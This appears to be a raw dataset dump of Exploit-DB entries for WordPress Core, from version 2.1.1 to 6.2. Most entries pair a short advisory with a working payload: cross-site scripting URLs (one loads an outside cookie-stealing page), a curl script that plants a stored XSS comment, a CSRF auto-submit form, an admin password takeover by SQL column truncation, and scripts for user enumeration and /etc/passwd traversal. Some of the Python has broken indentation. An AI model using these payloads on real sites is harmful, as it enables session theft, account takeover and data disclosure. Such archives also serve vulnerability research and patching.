deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29684
Description: WordPress Core 2.1.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-02-27
Author: Stefan Friedli

Exploit:
source: https://www.securityfocus.com/bid/22738/info

Wordpress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/comment.php?action=deletecomment&p=39&c='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/wp-admin/page.php?action=delete&post='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E categories.php) http://www.example.com/wp-admin/categories.php?action=delete&cat_ID='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #30166
Description: WordPress Core 2.2 - 'Request_URI' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-08
Author: zamolx3

Exploit:
source: https://www.securityfocus.com/bid/24383/info

WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

WordPress 2.2. is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/themes.php?page=functions.php&zmx"><script>alert(1)</script>
Exploit-DB #30979
Description: WordPress Core 2.2.3 - '/wp-admin/edit.php?backup' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-03
Author: 3APA3A

Exploit:
source: https://www.securityfocus.com/bid/27123/info
  
WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.


http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #30978
Description: WordPress Core 2.2.3 - '/wp-admin/page-new.php?popuptitle' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-03
Author: 3APA3A

Exploit:
source: https://www.securityfocus.com/bid/27123/info
 
WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://site/wp-admin/page-new.php?popuptitle=%22%20style=%22xss:expression(alert(document.cookie))%22
Exploit-DB #30977
Description: WordPress Core 2.2.3 - '/wp-admin/post.php?popuptitle' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-03
Author: 3APA3A

Exploit:
source: https://www.securityfocus.com/bid/27123/info

WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://site/wp-admin/post.php?popuptitle=%22%20style=%22xss:expression(alert(document.cookie))%22
Exploit-DB #30715
Description: WordPress Core 2.3 - 'Edit-Post-Rows.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-29
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/26228/info

WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects WordPress 2.3; other versions may also be vulnerable. 

http://www.example.com/wp-admin/edit-post-rows.php?posts_columns[]=<script>alert(123);</script>
Exploit-DB #30889
Description: WordPress Core 2.3.1 - Unauthorized Post Access
Type: webapps
Platform: php
Date: 2007-12-15
Author: Michael Brooks

Exploit:
source: https://www.securityfocus.com/bid/26885/info

WordPress is prone to a vulnerability that lets unauthorized users read draft posts before they have been published.

This issue affects WordPress 2.3.1; other versions may also be affected.

NOTE: This BID is being reinstated because further investigation reveals that the application is vulnerable. The exploit URI supplied in the initial report was not sufficient to trigger the issue, which led to the vulnerability claim being refuted. However, follow-up information from the reporter included a URI that does trigger the issue.

http://www.example.com/wordpress/index.php/wp-admin/
Exploit-DB #31357
Description: WordPress Core 2.3.2 - '/wp-admin/invites.php?to' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-07
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/28139/info
 
WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
WordPress 2.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/invites.php?result=sent&to=%22%3E%3Cscript%3Ealert
Exploit-DB #31356
Description: WordPress Core 2.3.2 - '/wp-admin/users.php?inviteemail' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-07
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/28139/info

WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WordPress 2.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/users.php?update=invite&inviteemail=>< iframe src=http://members.lycos.co.uk/Account/CookieMonster.php width=0 height=0>
Exploit-DB #31670
Description: WordPress Core 2.3.3 - 'cat' Directory Traversal
Type: webapps
Platform: php
Date: 2008-04-18
Author: Gerendi Sandor Attila

Exploit:
source: https://www.securityfocus.com/bid/28845/info

WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to access sensitive information that could aid in further attacks.

WordPress 2.3.3 is vulnerable; other versions may also be affected.

http://www.example.com/wordpress/?cat=1.php/../searchform?
Exploit-DB #32053
Description: WordPress Core 2.5.1 - 'press-this.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-07-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/30238/info

WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to WordPress 2.6 are vulnerable. 

http://www.example.com/wp/wp-admin/press-this.php/?ajax=video&s=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/wp/wp-admin/press-this.php/?ajax=thickbox&i=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #6397
Description: WordPress Core 2.6.1 - SQL Column Truncation
Type: webapps
Platform: php
Date: 2008-09-07
Author: irk4z

Exploit:
# WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC)
#
# found by irk4z[at]yahoo.pl
# homepage: http://irk4z.wordpress.com/
#
# this is not critical vuln [;
# 
# first, read this discovery:
# http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/
#
# in this hack we can remote change admin password, if registration enabled
#
# greets: Stefan Esser, Lukasz Pilorz, cOndemned, tbh, sid.psycho, str0ke and all fiends

1. go to url: server.com/wp-login.php?action=register

2. register as:

login: admin                                                       x
email: your email

^ admin[55 space chars]x

now, we have duplicated 'admin' account in database

3. go to url: server.com/wp-login.php?action=lostpassword

4. write your email into field and submit this form

5. check your email and go to reset confirmation link

6. admin's password changed, but new password will be send to correct admin email ;/

# milw0rm.com [2008-09-07]
Exploit-DB #9250
Description: WordPress Core 2.8.1 - 'url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-24
Author: superfreakaz0rz

Exploit:
#!/bin/bash

echo "wp281.quickprz // iso^kpsbr"

SITE=$1
COMMENT=$2
MESSAGE="h4x0riZed by the superfreakaz0rz"

if [ "X$SITE" = "X" ]; then
	echo "$0 <url> [postID]"
	echo "f.e. $0 www.worstpress.eu"
	exit
fi

if [ "X$POSTID" = "X" ]; then
	POSTID=1
fi


echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

# milw0rm.com [2009-07-24]
Exploit-DB #37835
Description: WordPress Core 3.4.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-09-22
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/55660/info

WordPress is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible.

WordPress 3.4.2 is vulnerable; other versions may also be affected. 

<body onload="javascript:document.forms[0].submit()"> <form action="http://TARGET_GOES_HERE/wp-admin/?edit=dashboard_incoming_links#dashboard_incoming_links" method="post" class="dashboard-widget-control-form"> <h1>How Many Girls You Have? xD))</h1> <!-- Idea for you: Iframe it --> <input name="widget-rss[1][url]" type="hidden" value="http://THINK_YOUR_SELF_HOW_YOU_CAN_USE_IT/test.php" /> <select id="rss-items-1" name="widget-rss[1][items]"> <option value='1' >1</option> <option value='2' >2</option> <option value='3' >3</option><option value='4' >4</option> <option value='5' >5</option> <option value='6' >6</option> <option value='7' >7</option> <option value='8' >8</option> <option value='9' >9</option> <option value='10' >10</option> <option value='11' >11</option> <option value='12' >12</option> <option value='13' >13</option> <option value='14' >14</option> <option value='15' >15</option> <option value='16' >16</option> <option value='17' >17</option> <option value='18' >18</option> <option value='19' >19</option> <option value='20' selected='selected'>20</option> </select> <input id="rss-show-date-1" name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/> <input type="hidden" name="widget_id" value="dashboard_incoming_links" /> </form>
Exploit-DB #36844
Description: WordPress Core 4.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-04-27
Author: klikki

Exploit:
Source: http://klikki.fi/adv/wordpress2.html


## Overview
Current versions of WordPress are vulnerable to a stored XSS.  An unauthenticated attacker can inject JavaScript in 
WordPress comments. The script is triggered when the comment is viewed.

If triggered by a logged-in administrator, under default settings the attacker can leverage the vulnerability to 
execute arbitrary code on the server via the plugin and theme editors.

Alternatively the attacker could change the administrator’s password, create new administrator accounts, 
or do whatever else the currently logged-in administrator can do on the target system.



## Details
If the comment text is long enough, it will be truncated when inserted in the database. 
The MySQL TEXT type size limit is 64 kilobytes, so the comment has to be quite long.

The truncation results in malformed HTML generated on the page. 
The attacker can supply any attributes in the allowed HTML tags, in the same way 
as with the two recently published stored XSS vulnerabilities affecting the WordPress core.

The vulnerability bears a similarity to the one reported by Cedric Van Bockhaven in 
2014 (patched this week, after 14 months). Instead of using an invalid character to truncate 
the comment, this time an excessively long comment is used for the same effect.

In these two cases, the injected JavaScript apparently can't be triggered in the 
administrative Dashboard so these exploits seem to require getting around comment 
moderation e.g. by posting one harmless comment first.

The similar vulnerability released by Klikki in November 2014 could be exploited in the 
administrative Dashboard while the comment is still in the moderation queue. Some 
exploit attempts of this have been recently reported in the wild.



## Proof of Concept
Enter as a comment text:

  <a title='x onmouseover=alert(unescape(/hello%20world/.source)) style=position:absolute;left:0;top:0;width:5000px;height:5000px  AAAAAAAAAAAA...[64 kb]..AAA'></a>

Confirmed vulnerable: WordPress 4.2, 4.1.2, 4.1.1, 3.9.3. 
Tested with MySQL versions 5.1.53 and 5.5.41.



## Demo
https://www.youtube.com/watch?v=OCqQZJZ1Ie4
Exploit-DB #47557
Description: WordPress Core 5.2.4 - Cross-Origin Resource Sharing
Type: webapps
Platform: php
Date: 2019-10-29
Author: Milad Khoshdel

Exploit:
# Exploit Title: Wordpress 5.2.4 - Cross-Origin Resource Sharing
# Date: 2019-10-28
# Exploit Author: Milad Khoshdel
# Software Link: https://wordpress.org/download/
# Version: Wordpress 5.2.4
# Tested on: Linux Apache/2 PHP/7.2

# Vulnerable Page:
https://[Your-Domain]/wp-json

# POC:
# The web application fails to properly validate the Origin header (check Details section for more information) 
# and returns the header Access-Control-Allow-Credentials: true. In this configuration any website can issue 
# requests made with user credentials and read the responses to these requests. Trusting arbitrary 
# origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. 

# REGUEST -->

GET /wp-json/ HTTP/1.1
Origin: https://www.evil.com
Accept: */*
Accept-Encoding: gzip,deflate
Host: [Your-Domain]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive

# RESPONSE -->

HTTP/1.1 200 OK
Date: Mon, 28 Oct 2019 07:34:39 GMT
Server: NopeJS
X-Robots-Tag: noindex
Link: <https://[Your-Domain].com/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages
Access-Control-Allow-Headers: Authorization, Content-Type
Allow: GET
Access-Control-Allow-Origin: https://www.evil.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
Vary: Origin,Accept-Encoding,User-Agent
Keep-Alive: timeout=2, max=73
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
Original-Content-Encoding: gzip
Content-Length: 158412
Exploit-DB #47720
Description: WordPress Core 5.3 - User Disclosure
Type: webapps
Platform: php
Date: 2019-11-28
Author: SajjadBnd

Exploit:
# Exploit Title : Wordpress 5.3 - User Disclosure
# Author: SajjadBnd
# Date: 2019-11-17
# Software Link: https://wordpress.org/download/
# version : wp < 5.3
# tested on : Ubunutu 18.04 / python 2.7
# CVE: N/A


#!/usr/bin/python
# -*- coding: utf-8 -*-
#

 
import requests
import os
import re
import json
import sys
import urllib3
 
def clear():
    linux = 'clear'
    windows = 'cls'
    os.system([linux, windows][os.name == 'nt'])
def Banner():
        print('''
- Wordpress < 5.3 - User Enumeration
- SajjadBnd
''')
def Desc():
    url = raw_input('[!] Url >> ')
    vuln = url + "/wp-json/wp/v2/users/"
    while True:
        try:
            r = requests.get(vuln,verify=False)
            content = json.loads(r.text)
            data(content)
        except requests.exceptions.MissingSchema:
        vuln = "http://" + vuln
def data(content):
    for x in content:
    name = x["name"].encode('UTF-8')
    print("======================")
    print("[+] ID : " + str(x["id"]))
    print("[+] Name : " + name)
    print("[+] User : " + x["slug"])
    sys.exit(1)
if __name__ == '__main__':
    urllib3.disable_warnings()
    reload(sys)
    sys.setdefaultencoding('UTF8')
    clear()
    Banner()
    Desc()

wpuser.txt

#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Exploit Title : Wordpress < 5.3 - User Disclosure
# Exploit Author: SajjadBnd
# email : blackwolf@post.com
# Software Link: https://wordpress.org/download/
# version : wp < 5.3
# tested on : Ubunutu 18.04 / python 2.7

import requests
import os
import re
import json
import sys
import urllib3

def clear():
    linux = 'clear'
    windows = 'cls'
    os.system([linux, windows][os.name == 'nt'])

def Banner():
        print('''
- Wordpress < 5.3 - User Enumeration
- SajjadBnd
''')

def Desc():
    url = raw_input('[!] Url >> ')
    vuln = url + "/wp-json/wp/v2/users/"
    while True:
        try:
            r = requests.get(vuln,verify=False)
            content = json.loads(r.text)
            data(content)
    	except requests.exceptions.MissingSchema:
	    vuln = "http://" + vuln

def data(content):
    for x in content:
	name = x["name"].encode('UTF-8')
	print("======================")
	print("[+] ID : " + str(x["id"]))
	print("[+] Name : " + name)
	print("[+] User : " + x["slug"])
    sys.exit(1)
if __name__ == '__main__':
    urllib3.disable_warnings()
    reload(sys)
    sys.setdefaultencoding('UTF8')
    clear()
    Banner()
    Desc()
Exploit-DB #50663
Description: WordPress Core 5.8.2 - 'WP_Query' SQL Injection
Type: webapps
Platform: php
Date: 2022-01-13
Author: Aryan Chehreghani

Exploit:
# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection
# Date: 11/01/2022
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/download/releases
# Version: < 5.8.3
# Tested on: Windows 10
# CVE : CVE-2022-21661

# [ VULNERABILITY DETAILS ] : 

#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,
#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.

# [ References ] : 

https://wordpress.org/news/category/releases
https://www.zerodayinitiative.com/advisories/ZDI-22-020
https://hackerone.com/reports/1378209

# [ Sample Request ] :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Upgrade-Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Connection: close 
Content-Type: application/x-www-form-urlencoded

action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}}
Exploit-DB #52274
Description: WordPress Core 6.2 - Directory Traversal
Type: webapps
Platform: php
Date: 2025-04-22
Author: Milad karimi

Exploit:
# Exploit Title: WordPress Core 6.2 - Directory Traversal
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Version: = 6.2
# Tested on: Win, Ubuntu
# CVE : CVE-2023-2745



import requests
from colorama import init, Fore, Style
init(autoreset=True)
url = input("E.G https://example.com/wp-login.php : ")
payload = '../../../../../etc/passwd'
response = requests.get(url, params={'wp_lang': payload})
if response.status_code == 200:
    if "root:x:0:0:root" in response.text:
        print(Fore.GREEN + 'Exploit successful, accessed content:')
        print(Fore.GREEN + response.text)
    else:
        print(Fore.YELLOW + 'Accessed content, but the expected file was
not found:')
        print(Fore.YELLOW + response.text)
elif response.status_code in {400, 401, 403, 404}:
    print(Fore.RED + f'Client error, status code: {response.status_code}')
elif response.status_code // 100 == 5:
    print(Fore.RED + f'Server error, status code: {response.status_code}')
elif response.status_code // 100 == 3:
    print(Fore.YELLOW + f'Redirection, status code:
{response.status_code}')
else:
    print(f'Status code: {response.status_code}')